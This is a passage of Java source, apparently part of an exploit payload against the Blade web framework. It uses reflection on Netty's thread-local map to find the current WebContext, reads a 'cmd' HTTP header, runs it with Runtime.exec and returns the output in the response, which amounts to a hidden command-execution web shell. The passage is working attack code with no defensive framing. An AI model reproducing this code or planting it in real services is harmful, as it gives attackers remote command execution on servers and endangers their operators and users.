valueField.setAccessible(true);
InternalThreadLocalMap value = (InternalThreadLocalMap) valueField.get(o);
WebContext context = null;
for (int i = 0; i < value.size(); i++) {
try {
if (value.indexedVariable(i).getClass().getName().equals("com.hellokaton.blade.mvc.WebContext")) {
context = (WebContext) value.indexedVariable(i);
break;
}
}catch (Exception e) {

}
}
HttpResponse response = (HttpResponse) context.getResponse();
Request request = context.getRequest();
String cmd = request.header("cmd");
response.body(new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next());
}


}